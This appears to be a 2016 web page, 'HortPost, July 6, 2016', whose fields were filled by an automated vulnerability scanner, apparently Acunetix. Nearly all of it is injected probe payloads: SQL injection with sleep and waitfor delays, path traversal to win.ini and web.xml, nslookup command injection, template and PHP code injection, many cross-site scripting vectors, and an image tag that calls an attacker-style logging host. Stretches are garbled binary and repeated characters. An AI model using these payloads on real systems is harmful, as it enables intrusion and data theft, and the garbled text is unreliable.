HortPost, July 6, 2016

1

1

1

response.write(9543664*9519198)

'+response.write(9543664*9519198)+'

Emvo3TJA

-1 OR 2+838-838-1=0+0+0+1 --

-1 OR 2+788-788-1=0+0+0+1

"+response.write(9543664*9519198)+"

-1' OR 2+398-398-1=0+0+0+1 --

-1' OR 2+315-315-1=0+0+0+1 or 'awznHEsd'='

-1" OR 2+554-554-1=0+0+0+1 --

4qllwQwc

if(now()=sysdate(),sleep(9),0)

0'XOR(if(now()=sysdate(),sleep(9),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(9),0))XOR"Z

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

../../../../../../../../../../windows/win.ini

set|set&set

-1; waitfor delay '0:0:9' --

${9999329+9999876}

-1); waitfor delay '0:0:9' --

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini.jpg

12345'"\'\");|]*{
<>�''💩

������������������������������������������������windows��win.ini

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

$(nslookup DWYXDjJy)

1some_inexistent_file_with_long_name.jpg

&nslookup lhH6UVEZ&'\"`0&nslookup lhH6UVEZ&`'

................windowswin.ini

Http://testasp.vulnweb.com/t/fit.txt

..\..\..\..\..\..\..\..\windows\win.ini

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

http://testasp.vulnweb.com/t/fit.txt?.jpg

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

testasp.vulnweb.com

1&n973404=v912107

)

-1)); waitfor delay '0:0:3' --

-1)); waitfor delay '0:0:0' --

-1)); waitfor delay '0:0:6' --

!(()&&!|*|*|

1 waitfor delay '0:0:3' --

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

WEB-INF/web.xml

WEB-INF\web.xml

3F0lMFtv'; waitfor delay '0:0:3' --

reeDUZ6X'); waitfor delay '0:0:3' --

'"()

Ehv7VZiC')); waitfor delay '0:0:3' --

^(#$!@#$)(()))******

HttP://testasp.vulnweb.com/t/xss.html?%00

;print(md5(acunetix_wvs_security_test));

-1;select pg_sleep(3); --

testasp.vulnweb.com/t/xss.html?%00

hortpost-july-6-2016

';print(md5(acunetix_wvs_security_test));$a='

-1);select pg_sleep(6); --

-1));select pg_sleep(6); --

http://hitJbt9Fu0zHc.bxss.me/

1'"

hortpost-july-6-2016

";print(md5(acunetix_wvs_security_test));$a="

6UQXBCed';select pg_sleep(6); --

\

ZGxPqplD');select pg_sleep(6); --

${@print(md5(acunetix_wvs_security_test))}

1����%2527%2522

ZjEk25tM'));select pg_sleep(6); --

${@print(md5(acunetix_wvs_security_test))}\

@@gptdZ

hortpost-july-6-2016/.

'"

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/www.vulnweb.com

1'"()&%<acx><ScRiPt >BKUc(9677)</ScRiPt>

<!--

JyI=

�'�"

�''�""

'"()&%<acx><ScRiPt >BKUc(9697)</ScRiPt>

19111700

acu9971＜s1﹥s2ʺs3ʹuca9971

acux10443��z1��z2a�bcxuca10443

CWS000x�=�1N�@E߮��I)�@��  �HiP"D�F�G&َ7��܂�rX;!S��̛����7Jq���.�
>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)�x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g�
]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0  

{{9999607*10000491}}

1<ScRiPt >BKUc(9783)</ScRiPt>

1<WRCZG8>4W1LO[!+!]</WRCZG8>

1<script>BKUc(9806)</script>

1<ScR<ScRiPt>IpT>BKUc(9896)</sCr<ScRiPt>IpT>

1<ScRiPt
>BKUc(9696)</ScRiPt>

1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9118></ScRiPt>

1<ScRiPt
>BKUc(9371)</ScRiPt>

1<video><source onerror="javascript:BKUc(9832)">

1<svg  

�onload=BKUc(9029);>

1<isindex type=image src=1 onerror=BKUc(9755)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9013'>

1<body onload=BKUc(9771)>

1<img src=//testasp.vulnweb.com/t/dot.gif onload=BKUc(9460)>

1<img src=xyz OnErRor=BKUc(9548)>

1<img/src=">" onerror=alert(9158)>

%31%3C%53%63%52%69%50%74%20%3E%42%4B%55%63%289572%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\BKUc(9127)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;BKUc(9659)&lt;/sCripT&gt;

�<img acu onmouseover=BKUc(9173) //�>

1<input autofocus onfocus=BKUc(9904)>

<a HrEF=http://www.vulnweb.com></a>

<a HrEF=jaVaScRiPT:>

[url=http://www.vulnweb.com][/url]

1<img<!-- --> src=x onerror=alert(9970);//><!-- -->

1}body{acu:Expre/**/SSion(BKUc(9132))}

1<% contenteditable onresize=BKUc(9895)>

1H3Cux
<ScRiPt >BKUc(9317)</ScRiPt>

1<WD5CYO>AWJHP[!+!]</WD5CYO>

1<ifRAme sRc=9174.com></IfRamE>

1<8IbPAm x=9981>

1<img sRc='http://attacker-9758/log.php?

1<qZiLSp<